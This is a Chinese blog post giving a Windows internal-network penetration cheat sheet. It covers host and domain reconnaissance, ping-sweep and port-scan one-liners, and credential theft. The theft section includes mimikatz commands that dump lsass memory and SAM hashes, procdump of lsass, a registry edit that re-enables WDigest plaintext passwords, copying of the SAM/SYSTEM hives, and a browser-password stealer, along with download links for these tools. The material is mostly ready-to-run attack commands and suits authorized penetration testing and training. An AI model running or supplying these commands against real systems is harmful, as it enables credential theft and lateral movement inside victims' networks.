内网渗透-信息收集-精简详细篇

一、前言

上一篇我们已经讲了在Windows 主机里面信息探测的一些命令,但是有很多很杂,这里就把最常用的列在这里就行。

二、本机基础信息收集

1.查看当前用户、权限。whoami  /all

2.查看网络配置`ipconfig /all`

3.查看主机路由信息route print

4.查看操作系统信息systeminfo
5.查看端口连接信息:netstat -ano
6.查看当前会话列表:net session
7.查看网络共享信息:net share
8.查看已连接的网络共享: net use
9.查看当前进程信息:tasklist ,tasklist /svc (可通过这个进行杀软进程识别,)
10.查看计划任务:schtasks /query /v /fo list

wmic

wmic 是微软为了方便管理规范的一个命令行工具,使用它可以获取更多进程和服务的详细信息。

1.获取主机进程信息,并过滤进程的路径,名称和ID
wmic process get name ,processid,executablepath

2.获取具体某个进程的信息,就加个判断where语句就行
wmic process where name="dwm.exe" get executablepath

3.查看服务信息,并过滤出服务的名称,路径,创建时间,运行状态。查看具体某项服务的具体信息和上述一样
wmic service get caption,name,pathname,startname,state

4.查看系统补丁安装信息,可通过这个来进行提劝收集。这可列出主机补丁列表,包括链接,名称,描述,编号,时间
wmic qfe get caption ,csname ,description,hotfixid ,installedon

5.查看主机上安装的软件信息,过滤出应用名称和版本
wmic product get caption ,version

6.查看自启程序信息
wmic startup get caption ,command ,location , user


三、域内信息收集

域内信息收集首先是判断是否存在域,这不说了,下面介绍常使用的命令:

1.net group /domain
net group "xx" /domain

net user /domain
net user 'xx' /domain

2.上面的命令用于收集域内组和用户的信息,另外:
wmic useraccount get caption , domain, description
可以获得域内所有用户的sid,所属域,描述信息。当然这个命令只能是域用户才能使用。

3.查看域内密码策略,有什么用?根据这些密码策略可以构造字典进行爆破
net account /domain

4.查看域控制器,获取域控制器的主机名
net group "domain controllers" /domain
nltest /DCLIST:traveler.com 

5.知道域域控制器之后,当然还要知道他的地址,使用ping ,可以ping主机名,可以ping域名,当然其实域控基本上就是作为域的DNS服务器,主机的DNS解析就是域的地址。

6.然后我们还可以看看域的信任关系,为啥呢?一个用户只能访问自己本地域的信息,但是它想出轨去访问其他域的信息的话就需要建立域信任:
nltest /domain_trusts

四、内网资源探测

既然主机的信息和域的信息探测差不多了,那么接下来就是探测一下资源啦,这里基本上是通过各种扫描技术来探测,主要为了后续的攻击,探测出主机的操作系统,端口啊,端口上的服务啊,当前的版本的漏洞啊啥的。

1.探测内网存活主机

在进行探测之前肯定是先搭建内网代理的,这里就不讲,怎么搭建代理隧道见其他章节。

主机探测主要是通过一些协议,通常是ICMP。NeTBIOS,UDP,ARP,SNMP.SMB .协议很多,所以探索出存活主机的方式有很多。

1.1基于ICMP探测

一看到ICMP是吧,就想到ping ,是的,可以使用for 循环ping c段的主机

for /L %I in (1,1,254) do @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="

1.2基于NetBIOS (网络基本输入、输出系统) 探测

上传nbtscan.exe到目标主机,地址http://unixwiz.net/tools/nbtscan.html

执行nbtscan.exe 10.10.10.0/24

1.3 基于UDP探测

kali自带一个 unicornscan ,它使用udp协议探测存活主机

unicornscan -mU 10.10.10.0/24

1.4 基于ARP协议

arp-scan 是一个快速扫描工具,很快,kali 自带,Windows需要上传

arp-scan.exe -t 10.10.10.0/24

2.探测端口

2.1 telnet 探测

telnet ip port 可以检测该端口是否打开

2.2 nmap

nmap -sS -p- ip

2.3 获取banner信息

banner信息中可能含有一些敏感信息

nc -nv ip port
telnet ip port
nmap --script=banner -p port ip

3.用户凭据收集

在内网渗透中,被攻击的主机通常只是作为跳板进行横向渗透,然而横向的一些攻击方法通常需要吸纳获得域内用户的密码。

mimikazt地址https://github.com/gentilkiwi/mimikatz

百度网盘:链接:https://pan.baidu.com/s/166t4E-SfvHyDwuxlfq6wTw提取码:3azc

3.1 获取域内主机的密码和哈希值

前言:

Windows的密码是存在SAM文件中的,这个文件位于%Systemroot%/system32/config目录下,这个文件包含了用户的账号密码。在用户登录时会将用户输入的账号密码与这个文件进行匹配。

那是怎么进行匹配的呢?那肯定还是要有进程是吧,这个进程就是lsass.exe ,当用户在登录界面输入账号密码后,这些东西就会存在进程的内存之中,那么好家伙,是不是我只要能读取这个内存那岂不是就OK了,但是这个操作时要权限滴,所以啊,提圈很重要,现在假设有权限了。

有了这么个东西叫做Mimikatz ,Mimikatz 是一款功能强大的凭据转储开源程序,可以帮助测试人员提升进程权限,注入进程,读取进程内存。

接下来要搞主机的密码我们就用这个工具去搞

1.读取lsass进程内存获取密码

在线模式:

上传mimikatz到主机,执行

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

#privilege::debug 用于提权至debugprivilege权限,这个权限就可以导出内容了
#sekurlsa::logonpasswords 导出用户凭据

离线模式:

离线模式就是,将进程的内容转储在一个文件上,然后再进行导出用户凭据,那么转储的工具有哪些呢?有OutMinidump.ps1、Procdump、sharpdump 。通常使用微软官方提供的prodump

在目标机器上上传prodump 执行 prodump.exe -accepteula -ma lsass.dmp

这样就将lsass内存转储了,然后再执行:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit

sekurlsa::minidump lsass.dump是加载内存文件

注意:

但是微软在2014年为了防止从内存中提取密码,禁用了WDigest 功能,使得Win sever2012及以上版本默认关闭Wdigest功能;但是可以通过修改注册表开启Wdigest功能,当下次登录或者注销登录的时候就可以重新获得密码:

#开启Wdigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

#关闭WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

2.读取SAM文件获取密码

也是直接使用mimikatz

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

#privilege::dubug 提权至DebugPrivilege

#token::elevate 提权至system 

#lsadump:sam 读取本地sam文件

离线:

为了防止SAM被脱裤直接被破解,window设置了秘钥,这个秘钥存在同目录下的SYSTEM文件中,所以要导出这两个文件(SAM和SYSTEM),但是呢这两个文件又是锁定的,又要借助工具才能导出,使用Invoke-NinjaCopy.ps1脚本

Invoke-NinjaCopy -path "C:\windows\system32\config\SAM" -LocalDestination C:\temp\SAM
Invoke-NinCopy -path "C:\windows\system32\config\SYSTEM" -LocalDestination C:\temp\SYSTEM

当然除了工具之外也可以在管理员权限下通过注册表保存的方式:

reg save HKLM\SAM sam.hive 
reg save HKLM\SYSTEM system.hive

通过上述两个方式导出文件之后继续使用mimikatz来读取明文凭据信息

mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit

五、主机软件中的凭据

有一些软件会自动把密码存储,这些密码哎嘿,你懂的。

1.获取PDR远程桌面的凭据

也是使用mimikatz来解密。

2.可获取xshell等远程连接工具的密码

3.获取浏览器保存的登录密码

使用工具HackBrowserData。上传到主机,直接运行即可。

地址:https://github.com/moonD4rk/HackBrowserData/releases/tag/v0.4.4

posted @ 2024-05-26 22:08  云岛夜川川  阅读(15)  评论(0编辑  收藏  举报